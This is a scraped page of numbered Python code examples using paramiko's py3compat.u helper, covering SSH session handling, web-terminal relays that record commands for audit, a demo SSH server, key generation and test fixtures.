                            #state_preview = str(data[8:]).replace('[K', '').replace('\x1b', ' ')
                            pass

                    if start_parsing:
                        #Always display the current state in the P&ID window
                        box18.delete(1.0, END)
                        box18.insert("1.0", state_preview)

                        # Parse the sensor values
                        if 'Sensor values:' in str(data):
                            # for testing (prints sensor values )
                            #print(data, end= '\r', flush= True)
                            #change the box color to red to indicate warning
                            #for testing
                            #x = x.split(' ')
                            data = q.get()
                            index2 = data.find(':')
                            if not index == -1:
                                data = data[index2 + 2:].replace('\x1b[F', '')
                                data = data + ' 0 1 2 1 1 2 1 0 0'

                            s_val = data.split(' ')

                            #for testing only (for the case where we get less than 30 sensor values)
                            if not len(s_val) == 39:
                                while len(s_val) < 39:
                                    s_val.insert(30, '0')

                            s_val = s_val[0:17] + s_val[30:39]
                            mapping = map(float, s_val)
                            s_val = list(mapping)



                            obj_list = [box1, box2, box3, box4, box5, box6, box7, box8, box9, box10, box11, box12, box13, box14, box15, box16, \
                                        box17, c1, c2, c3, c4, c5, c6, c7, c8, c9]
                            lenq = len(s_val)
                            for index in range(len(s_val)):

                                for index in range(0, 17):
                                    if s_val[index] > 1:
                                        #change the box color when outside valid range
                                        box_color_change(
                                            obj_list[index], "#fb9898")
                                    # if the sensor value is withing the spected range then keep box color yellow
                                    obj_list[index].delete(1.0, END)
                                    obj_list[index].insert('1.0', s_val[index])

                                for index in range(17, 26):
                                    # if the valve is turned ON then light up GREEN
                                    if s_val[index] == 1:
                                        valve_position_color(
                                            obj_list[index], "#58df52")
                                    # if the valve is turned OFF then light up BLUE
                                    elif s_val[index] == 0:
                                        valve_position_color(
                                            obj_list[index], "blue")
                                    # if there is an error with the valve light up RED
                                    elif s_val[index] == 2:
                                        valve_position_color(
                                            obj_list[index], "red")
                                #format the data back to distinguis from the screen we want to print to
                                data = f'Sensor values: {data}'

                    if 'Sensor' in str(data):
                        continue

                    output.insert("end-1c", str(data).replace('\x1b[K', ' '))
                    output.see("end")

                if not ON:
                    return "Exiting GUI"

            writer = threading.Thread(target=writeall, args=(chan, ))
            #writer.daemon = True
            writer.start()

    except Exception as e:
        print("*** Caught exception: %s: %s" % (e.__class__, e))
        traceback.print_exc()
        if '[Errno 11001] getaddrinfo failed' == str(e):

            output.insert("end-1c", f' Error connecting to BB_AI.\n')
        elif '[WinError 10060]' in str(e):
            output.insert("end-1c", f' Error connecting to BB_AI.\n')

        try:
            client.close()
        except:
            pass
        sys.exit(1)
예제 #46
0
파일: demo_server.py 프로젝트: kynyka/Ex.py
import os
import socket
import sys
import threading
import traceback

import paramiko
from paramiko.py3compat import b, u, decodebytes

# setup logging
paramiko.util.log_to_file('demo_server.log')

host_key = paramiko.RSAKey(filename='test_rsa.key')
#host_key = paramiko.DSSKey(filename='test_dss.key')

print('Read key: ' + u(hexlify(host_key.get_fingerprint())))


class Server(paramiko.ServerInterface):
    # 'data' is the output of base64.b64encode(key)
    # (using the "user_rsa_key" files)
    data = (b'AAAAB3NzaC1yc2EAAAABIwAAAIEAyO4it3fHlmGZWJaGrfeHOVY7RWO3P9M7hp'
            b'fAu7jJ2d7eothvfeuoRFtJwhUmZDluRdFyhFY/hFAh76PJKGAusIqIQKlkJxMC'
            b'KDqIexkgHAfID/6mqvmnSJf0b5W8v5h2pI/stOSwTQ+pxVhwJ9ctYDhRSlF0iT'
            b'UWT10hcuO4Ks8=')
    good_pub_key = paramiko.RSAKey(data=decodebytes(data))

    def __init__(self):
        self.event = threading.Event()

    def check_channel_request(self, kind, chanid):
예제 #47
0
def posix_shell(chan, channel, log_name=None):
    from webterminal.asgi import channel_layer
    stdout = list()
    begin_time = time.time()
    last_write_time = {'last_activity_time': begin_time}
    try:
        chan.settimeout(0.0)
        while True:
            try:
                x = u(chan.recv(1024))
                if len(x) == 0:
                    channel_layer.send(
                        channel, {
                            'text':
                            json.dumps([
                                'disconnect',
                                smart_unicode('\r\n*** EOF\r\n')
                            ])
                        })
                    break
                now = time.time()
                delay = now - last_write_time['last_activity_time']
                last_write_time['last_activity_time'] = now
                if x == "exit\r\n" or x == "logout\r\n" or x == 'logout':
                    pass
                else:
                    stdout.append([
                        delay,
                        codecs.getincrementaldecoder('UTF-8')(
                            'replace').decode(x)
                    ])
                channel_layer.send(
                    channel,
                    {'text': json.dumps(['stdout', smart_unicode(x)])})
            except socket.timeout:
                pass
            except Exception, e:
                channel_layer.send(
                    channel, {
                        'text':
                        json.dumps([
                            'stdout', 'A bug find,You can report it to me' +
                            smart_unicode(e)
                        ])
                    })

    finally:
        attrs = {
            "version":
            1,
            "width":
            90,  #int(subprocess.check_output(['tput', 'cols'])),
            "height":
            40,  #int(subprocess.check_output(['tput', 'lines'])),
            "duration":
            round(time.time() - begin_time, 6),
            "command":
            os.environ.get('SHELL', None),
            'title':
            None,
            "env": {
                "TERM": os.environ.get('TERM'),
                "SHELL": os.environ.get('SHELL', 'sh')
            },
            'stdout':
            list(map(lambda frame: [round(frame[0], 6), frame[1]], stdout))
        }
        mkdir_p('/'.join(os.path.join(MEDIA_ROOT, log_name).rsplit('/')[0:-1]))
        with open(os.path.join(MEDIA_ROOT, log_name), "a") as f:
            f.write(
                json.dumps(attrs,
                           ensure_ascii=False,
                           cls=CustomeFloatEncoder,
                           indent=2))

        audit_log = SshLog.objects.get(
            channel=channel, log=log_name.rsplit('/')[-1].rsplit('.json')[0])
        audit_log.is_finished = True
        audit_log.end_time = timezone.now()
        audit_log.save()
예제 #48
0
 def check_auth_publickey(self, username, key):
     print('Auth attempt with key: ' + u(hexlify(key.get_fingerprint())))
     if (username == 'robey') and (key == self.good_pub_key):
         return paramiko.AUTH_SUCCESSFUL
     return paramiko.AUTH_FAILED
예제 #49
0
def posix_shell(chan, user_obj, host_and_sysuser_obj, log_info_caches,
                log_record):
    """

    :param chan: 连接实例
    :param user_obj: 用户实例
    :param host_and_sysuser_obj: 主机及主机用户实例
    :param log_info_caches: log缓存
    :param log_record: log_record方法
    :return:
    """
    import select

    oldtty = termios.tcgetattr(sys.stdin)
    try:
        tty.setraw(sys.stdin.fileno())
        tty.setcbreak(sys.stdin.fileno())
        chan.settimeout(0.0)
        cmd = ""
        tab_flag = False
        while True:
            r, w, e = select.select([chan, sys.stdin], [], [])
            if chan in r:
                try:
                    x = u(chan.recv(1024))
                    if len(x) == 0:
                        sys.stdout.write('\r\n*** EOF\r\n')
                        break

                    if tab_flag:  # 如果有回车就记录返回值
                        cmd += x
                        tab_flag = False

                    sys.stdout.write(x)
                    sys.stdout.flush()
                except socket.timeout:
                    pass
            if sys.stdin in r:
                x = sys.stdin.read(1)

                if x != "\r":
                    cmd += x
                    if x == '\t':
                        tab_flag = True
                else:
                    # print("==>", cmd)
                    # 生成日志的表格
                    log_info = db_modles.AuditLog(
                        userprofile_id=user_obj.id,
                        hostandsysuser_id=host_and_sysuser_obj.id,
                        action_type="cmd",
                        cmd=cmd,
                        data=datetime.datetime.now())
                    log_info_caches.append(log_info)
                    cmd = ""

                    if len(log_info_caches) >= 10:
                        log_record(log_info_caches)
                        log_info_caches = []

                if len(x) == 0:
                    break
                chan.send(x)

    finally:
        termios.tcsetattr(sys.stdin, termios.TCSADRAIN, oldtty)
예제 #50
0
 def _parse_userauth_banner(self, m):
     banner = m.get_string()
     self.banner = banner
     self._log(INFO, "Auth banner: {}".format(u(banner)))
예제 #51
0
# 设置新的tty
try:
    # tty.setraw(sys.stdin.fileno())
    # chan.settimeout(0.0)

    # 下面是核心逻辑
    # 在这里就是死循环不断接受用户的数据,提交给服务器端执行,然后服务器端返回结构
    # 利用select 来见他那个file-like 对象的变化
    # 监听的对象有:   sys.stdin    chan
    while True:
        rlist, wlist, elist = select.select([sys.stdin, chan], [], [], 1)
        if chan in rlist:
            # 收到了服务器的数据,那就显示
            try:
                text = u(chan.recv(1024))  # python3 才需要这样设置一下, text 是str
                sys.stdout.write(text)
                sys.stdout.flush()
            except Exception as e:
                print(e)
                break

        if sys.stdin in rlist:
            # 客户端输入了,那就提交给服务器端
            cmd = sys.stdin.readline()  # 从这里拿到的cmd 是str 类型, chan 内部应该会自动转
            # print('-----cmd: ', cmd, type(cmd))
            if cmd:
                chan.sendall(cmd)
            else:
                continue
예제 #52
0
def posix_shell(chan, channel, log_name=None, width=90, height=40):
    """实现shell的内容发送,和发送给监控组,记录日志和关闭shell
        chan:ssh的shell
    """
    from webterminal.asgi import channel_layer
    stdout = list()
    begin_time = time.time()
    last_write_time = {'last_activity_time': begin_time}
    try:
        chan.settimeout(0.0)
        while True:
            try:
                x = u(chan.recv(1024))
                if len(x) == 0:  #没内容就断开
                    channel_layer.send(
                        channel, {
                            'text':
                            json.dumps([
                                'disconnect',
                                smart_unicode('\r\n*** EOF\r\n')
                            ])
                        })
                    break
                now = time.time()
                delay = now - last_write_time['last_activity_time']
                last_write_time['last_activity_time'] = now
                if x == "exit\r\n" or x == "logout\r\n" or x == 'logout':  #用户输入这几个退出
                    chan.close()
                else:
                    if isinstance(x, unicode):
                        stdout.append([delay, x])  #添加unicode格式的内容进列表
                    else:
                        stdout.append([
                            delay,
                            codecs.getincrementaldecoder('UTF-8')(
                                'replace').decode(x)
                        ])
                if isinstance(x, unicode):
                    channel_layer.send(channel,
                                       {'text': json.dumps(['stdout', x])})
                else:
                    channel_layer.send(
                        channel,
                        {'text': json.dumps(
                            ['stdout', smart_unicode(x)])})  #中文转换成unicode
                #send message to monitor group
                if log_name:  #{0}-{1}-{2}.json
                    channel_layer.send_group(
                        u'monitor-{0}'.format(
                            log_name.rsplit('/')[1].rsplit('.json')[0]),
                        {'text': json.dumps(['stdout',
                                             smart_unicode(x)])})
            except socket.timeout:
                pass
            except Exception, e:
                print traceback.print_exc()
                channel_layer.send(
                    channel, {
                        'text':
                        json.dumps([
                            'stdout', 'A bug find,You can report it to me' +
                            smart_unicode(e)
                        ])
                    })

    finally:
        attrs = {
            "version":
            1,
            "width":
            width,  #int(subprocess.check_output(['tput', 'cols'])),
            "height":
            height,  #int(subprocess.check_output(['tput', 'lines'])),
            "duration":
            round(time.time() - begin_time, 6),
            "command":
            os.environ.get('SHELL', None),
            'title':
            None,
            "env": {
                "TERM": os.environ.get('TERM'),
                "SHELL": os.environ.get('SHELL', 'sh')
            },
            'stdout':
            list(map(lambda frame: [round(frame[0], 6), frame[1]], stdout))
        }
        # print log_name,"finaly"
        mkdir_p('/'.join(os.path.join(MEDIA_ROOT,
                                      log_name).rsplit('/')[0:-1]))  #创建log目录
        with open(os.path.join(MEDIA_ROOT, log_name), "a") as f:
            f.write(
                json.dumps(attrs,
                           ensure_ascii=True,
                           cls=CustomeFloatEncoder,
                           indent=2))  #操作写进本地目录

        audit_log = Log.objects.get(
            channel=channel, log=log_name.rsplit('/')[-1].rsplit('.json')[0])
        audit_log.is_finished = True
        audit_log.end_time = timezone.now()
        audit_log.save()
        #hand ssh terminal exit
        queue = get_redis_instance()
        redis_channel = queue.pubsub()
        queue.publish(channel, json.dumps(['close']))  #发布关闭
예제 #53
0
 def get_text(self):
     """
     Fetch a Unicode string from the stream.
     """
     return u(self.get_string())
예제 #54
0
def fmt_fp(fp):
	fp = u(hexlify(fp))
	n = 2
	tokens = [ fp[i:i+n] for i in xrange(0, len(fp), n) ]
	return ':'.join(tokens)
예제 #55
0
def main():
    ssh = paramiko.SSHClient()
    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    ssh.connect('xxx.xx.xx.xx', username='******', password='******')

    tran = ssh.get_transport()
    chan = tran.open_session()

    chan.get_pty()
    chan.invoke_shell()

    logging.basicConfig(
        level=logging.DEBUG,
        format=
        '%(asctime)s %(filename)s[line:%(lineno)d] %(levelname)s %(message)s',
        datefmt='%a, %d %b %Y %H:%M:%S',
        filename='test.log',
        filemode='w')

    oldtty = termios.tcgetattr(sys.stdin)
    try:
        tty.setraw(sys.stdin.fileno())
        tty.setcbreak(sys.stdin.fileno())
        chan.settimeout(0.0)
        command = ''
        command_history = []
        tab = False
        up_tag = False
        down_tag = False
        while True:
            r, w, e = select.select([chan, sys.stdin], [], [])
            wat = fcntl.ioctl(r[0].fileno(), termios.FIONREAD, "  ")
            doublewat = struct.unpack('h', wat)[0]
            if chan in r:
                try:
                    recv_data = u(chan.recv(1024))
                    if len(recv_data) == 0:
                        sys.stdout.write("\r\n*** EOF\r\n")
                        break
                    if len(recv_data) == 1:
                        if recv_data in '\x07':
                            recv_data = recv_data.replace('\x07', '')
                        if recv_data:
                            command += recv_data
                            logging.warn("accept one char command:" + command +
                                         "<--------------")
                    else:
                        if up_tag or down_tag:
                            command = recv_data
                            logging.debug("recv_data:" + recv_data +
                                          "..............")
                        else:
                            if '[' not in recv_data and ']' not in recv_data:
                                if '\n' not in recv_data or '\r' not in recv_data:
                                    if tab:
                                        command += recv_data
                                    else:
                                        command = recv_data
                                    logging.error("command:" + str(tab) +
                                                  command + "<-------")
                    sys.stdout.write(recv_data)
                    sys.stdout.flush()
                except socket.timeout:
                    pass
            if sys.stdin in r:
                x = sys.stdin.read(doublewat)
                if len(x) == 0:
                    break
                chan.send(x)
                input_char = x
                if input_char == '\t':
                    tab = True
                if input_char == '\x1b[A':
                    logging.debug("you pressed up|")
                    up_tag = True
                elif input_char == '\x1b[B':
                    logging.debug("you pressed down")
                    down_tag = True
                if input_char == '\x7F':
                    if command:
                        command = command[:-1]
                if input_char == '\x0D':
                    if command.strip():
                        if '\x07' in command or '\x08' in command:
                            command = command.replace('\x07',
                                                      '').replace('\x08', '')
                        if '\r' or '\x1b[C' or '\x1b[K' in command:
                            command = command.replace('\r', '').replace(
                                '\x1b[C', '').replace('\x1b[K', '')
                        command_history.append(command)
                    command = ''
                    tab = False
                    up_tag = False
                    down_tag = False
                    logging.debug(command_history)

    finally:
        termios.tcsetattr(sys.stdin, termios.TCSADRAIN, oldtty)
        ssh.close()
예제 #56
0
 def set_host_key(self, host_key):
     self.host_key = host_key
     LOG.info('ServerHostKey: %s' % u(hexlify(host_key.get_fingerprint())))
예제 #57
0
def posix_shell(chan,
                channel,
                log_name=None,
                width=90,
                height=40,
                elementid=None):
    from webterminal.asgi import channel_layer
    stdout = list()
    begin_time = time.time()
    last_write_time = {'last_activity_time': begin_time}
    command = list()
    if elementid:
        logobj = Log.objects.get(channel=elementid)
    else:
        logobj = Log.objects.get(channel=channel)
    vim_flag = False
    vim_data = ''
    try:
        chan.settimeout(0.0)
        while True:
            try:
                x = u(chan.recv(1024))
                if len(x) == 0:
                    if elementid:
                        channel_layer.send(
                            channel, {
                                'text':
                                json.dumps([
                                    'disconnect',
                                    smart_unicode('\r\n*** EOF\r\n'),
                                    elementid.rsplit('_')[0]
                                ])
                            })
                    else:
                        channel_layer.send(
                            channel, {
                                'text':
                                json.dumps([
                                    'disconnect',
                                    smart_unicode('\r\n*** EOF\r\n')
                                ])
                            })
                    break
                now = time.time()
                delay = now - last_write_time['last_activity_time']
                last_write_time['last_activity_time'] = now
                if x == "exit\r\n" or x == "logout\r\n" or x == 'logout':
                    chan.close()
                else:
                    if vim_flag:
                        vim_data += x
                    logger.debug('raw data {0}'.format(command))
                    if '\r\n' not in x:
                        command.append(x)
                    else:
                        command_result = CommandDeal().deal_command(
                            ''.join(command))
                        if len(command_result) != 0:
                            #vim command record patch
                            logger.debug('command {0}'.format(command_result))
                            if command_result.strip().startswith(
                                    'vi') or command_result.strip().startswith(
                                        'fg'):
                                CommandLog.objects.create(
                                    log=logobj, command=command_result[0:255])
                                vim_flag = True
                            else:
                                if vim_flag:
                                    if re.compile('\[.*@.*\][\$#]').search(
                                            vim_data):
                                        vim_flag = False
                                        vim_data = ''
                                else:
                                    CommandLog.objects.create(
                                        log=logobj,
                                        command=command_result[0:255])
                        command = list()

                    if isinstance(x, unicode):
                        stdout.append([delay, x])
                    else:
                        stdout.append([
                            delay,
                            codecs.getincrementaldecoder('UTF-8')(
                                'replace').decode(x)
                        ])
                if isinstance(x, unicode):
                    if elementid:
                        channel_layer.send(
                            channel, {
                                'text':
                                json.dumps(
                                    ['stdout', x,
                                     elementid.rsplit('_')[0]])
                            })
                    else:
                        channel_layer.send(channel,
                                           {'text': json.dumps(['stdout', x])})
                else:
                    if elementid:
                        channel_layer.send(
                            channel, {
                                'text':
                                json.dumps([
                                    'stdout',
                                    smart_unicode(x),
                                    elementid.rsplit('_')[0]
                                ])
                            })
                    else:
                        channel_layer.send(
                            channel,
                            {'text': json.dumps(['stdout',
                                                 smart_unicode(x)])})
                #send message to monitor group
                if log_name:
                    channel_layer.send_group(
                        u'monitor-{0}'.format(log_name.rsplit('/')[1]),
                        {'text': json.dumps(['stdout',
                                             smart_unicode(x)])})
            except socket.timeout:
                pass
            except Exception, e:
                logger.error(traceback.print_exc())
                if elementid:
                    channel_layer.send(
                        channel, {
                            'text':
                            json.dumps([
                                'stdout',
                                'A bug find,You can report it to me' +
                                smart_unicode(e),
                                elementid.rsplit('_')[0]
                            ])
                        })
                else:
                    channel_layer.send(
                        channel, {
                            'text':
                            json.dumps([
                                'stdout',
                                'A bug find,You can report it to me' +
                                smart_unicode(e)
                            ])
                        })

    finally:
        attrs = {
            "version":
            1,
            "width":
            width,  #int(subprocess.check_output(['tput', 'cols'])),
            "height":
            height,  #int(subprocess.check_output(['tput', 'lines'])),
            "duration":
            round(time.time() - begin_time, 6),
            "command":
            os.environ.get('SHELL', None),
            'title':
            None,
            "env": {
                "TERM": os.environ.get('TERM'),
                "SHELL": os.environ.get('SHELL', 'sh')
            },
            'stdout':
            list(map(lambda frame: [round(frame[0], 6), frame[1]], stdout))
        }
        mkdir_p('/'.join(os.path.join(MEDIA_ROOT, log_name).rsplit('/')[0:-1]))
        with open(os.path.join(MEDIA_ROOT, log_name), "a") as f:
            f.write(
                json.dumps(attrs,
                           ensure_ascii=True,
                           cls=CustomeFloatEncoder,
                           indent=2))

        if elementid:
            audit_log = Log.objects.get(channel=elementid,
                                        log=log_name.rsplit('/')[-1])
        else:
            audit_log = Log.objects.get(channel=channel,
                                        log=log_name.rsplit('/')[-1])
        audit_log.is_finished = True
        audit_log.end_time = timezone.now()
        audit_log.save()
        #hand ssh terminal exit
        queue = get_redis_instance()
        redis_channel = queue.pubsub()
        queue.publish(channel, json.dumps(['close']))
예제 #58
0
from paramiko import (
    Transport,
    ServerInterface,
    RSAKey,
    DSSKey,
    BadAuthenticationType,
    InteractiveQuery,
    AuthenticationException,
)
from paramiko import AUTH_FAILED, AUTH_PARTIALLY_SUCCESSFUL, AUTH_SUCCESSFUL
from paramiko.py3compat import u
from tests.loop import LoopSocket
from tests.util import test_path

_pwd = u('\u2022')


class NullServer(ServerInterface):
    paranoid_did_password = False
    paranoid_did_public_key = False
    paranoid_key = DSSKey.from_private_key_file(test_path('test_dss.key'))

    def get_allowed_auths(self, username):
        if username == 'slowdive':
            return 'publickey,password'
        if username == 'paranoid':
            if not self.paranoid_did_password and not self.paranoid_did_public_key:
                return 'publickey,password'
            elif self.paranoid_did_password:
                return 'publickey'
예제 #59
0
        pfunc = progress
        sys.stdout.write(
            "Generating priv/pub %s %d bits key pair (%s/%s.pub)..." %
            (ktype, bits, filename, filename))
        sys.stdout.flush()

    if ktype == 'dsa' and bits > 1024:
        raise SSHException("DSA Keys must be 1024 bits")

    if ktype not in key_dispatch_table:
        raise SSHException("Unknown %s algorithm to generate keys pair" %
                           ktype)

    # generating private key
    prv = key_dispatch_table[ktype].generate(bits=bits, progress_func=pfunc)
    prv.write_private_key_file(filename, password=phrase)

    # generating public key
    pub = key_dispatch_table[ktype](filename=filename, password=phrase)
    with open("%s.pub" % filename, 'w') as f:
        f.write("%s %s" % (pub.get_name(), pub.get_base64()))
        if options.comment:
            f.write(" %s" % comment)

    if options.verbose:
        print("done.")

    hash = u(hexlify(pub.get_fingerprint()))
    print("Fingerprint: %d %s %s.pub (%s)" % (bits, ":".join(
        [hash[i:2 + i]
         for i in range(0, len(hash), 2)]), filename, ktype.upper()))
예제 #60
0
# Licensed under a 3-clause BSD style license - see LICENSE.rst
import os
import uuid

# See https://github.com/paramiko/paramiko/issues/735.  Without this
# hack the module-level call to Ska.ftp.SFTP('lucky') hangs during
# test collection by pytest.  Note that this does not work with
# paramiko 2.0.0.
from paramiko import py3compat
py3compat.u('dirty hack')

import Ska.ftp
import Ska.File
import pytest

from kadi import occweb
import pyyaks.logger

logger = pyyaks.logger.get_logger()


try:
    Ska.ftp.parse_netrc()['lucky']['login']
    lucky = Ska.ftp.SFTP('lucky')
except Exception:
    HAS_LUCKY = False
else:
    HAS_LUCKY = True
    lucky.close()